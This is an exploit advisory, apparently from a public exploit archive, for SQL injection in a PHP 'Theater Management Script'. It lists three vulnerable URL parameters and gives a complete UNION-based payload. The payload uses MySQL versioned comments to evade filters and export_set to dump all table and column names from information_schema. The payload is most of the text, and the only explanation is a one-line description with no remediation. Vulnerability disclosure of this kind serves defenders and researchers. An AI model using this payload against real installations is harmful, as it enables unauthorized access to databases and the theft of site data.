# # # # # # Exploit Title: Theater Management Script - SQL Injection # Dork: N/A # Date: 14.09.2017 # Vendor Homepage: http://www.phpscriptsmall.com/ # Software Link: http://www.exclusivescript.com/product/8o2b4417538/php-scripts/theater-management-script # Demo: http://198.38.86.159/~dineshkumarwork/demo/movie/ # Version: N/A # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # http://localhost/[PATH]/show-time.php?moid=[SQL] # # -100'++/*!08888UNION*/(/*!08888SELECT*/0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329)--+- # # http://localhost/[PATH]/event-detail.php?eid=[SQL] # # http://localhost/[PATH]/trailer-detail.php?moid=[SQL] # # Etc.. # # # # #